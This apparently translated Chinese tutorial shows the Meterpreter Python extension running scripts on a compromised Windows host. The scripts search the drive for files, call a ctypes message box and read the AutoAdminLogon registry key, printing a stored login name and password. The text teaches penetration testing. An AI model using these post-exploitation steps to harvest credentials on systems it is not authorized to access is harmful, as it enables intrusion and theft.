以下是Python Extension的一些实例。随着时间的推移,更多的功能将被添加,使得扩展成为更强大的工具。
随着扩展加载,我们可以使用基本的Python功能,如打印。这可以通过使用“python_execute”命令和标准的Python语法来实现。
meterpreter > python_execute "print 'Good morning! It\\'s 5am'"
[+] Content written to stdout:
Good morning! It's 5am
您也可以保存到一个变量,并使用“-r”开关打印其内容。
meterpreter > python_execute "import os; cd = os.getcwd()" -r cd
[+] cd = C:\Users\loneferret\Downloads
meterpreter >
以下文件位于我们机器的“root”文件夹中。它的本质是,在C:\驱动器中搜索名为“readme.txt”的文件。虽然这可以通过meterpreter的本地“搜索”命令完成。一个观察,通过文件系统,已经不止一次地崩溃了我们的meterpreter会话。
[email protected]:~# cat findfiles.py
import os
for root, dirs, files in os.walk("c://"):
for file in files:
if file.endswith(".txt") and file.startswith("readme"):
print(os.path.join(root, file))
为了让这个文件在我们的目标机器上运行,我们需要调用“python_import”命令。使用“-f”开关指定我们的脚本。
meterpreter > python_import -f /root/findfiles.py
[*] Importing /root/findfiles.py ...
[+] Content written to stdout:
c://Program Files\Ext2Fsd\Documents\readme.txt
c://qemu-0.13.0-windows\patch\readme.txt
c://Users\loneferret\Desktop\IM-v1.9.16.0\readme.txt
另一个例子,这次打印一些内存信息,并使用“ctypes”Python模块调用Windows消息框。
meterpreter > python_import -f /root/ctypes_ex.py
[*] Importing /root/ctypes_ex.py ...
[+] Content written to stdout:
>WinDLL 'kernel32', handle 76e30000 at 4085e50>
metrepreter > python_import -f /root/msgbox.py
[*] Importing /root/msgbox.py ...
[+] Command executed without returning a result
当然,这一切都取决于您当前仪表的访问级别。另一个简单的Python脚本示例,读取Window的注册表中的“AutoAdminLogon”键。
meterpreter > python_import -f /root/readAutoLogonREG.py
[*] Importing /root/readAutoLogonREG.py ...
[+] Content written to stdout:
[+] Reading from AutoLogon Registry Location
[-] DefaultUserName loneferret
[-] DefaultPassword NoNotReally
[-] AutoAdminLogon Enabled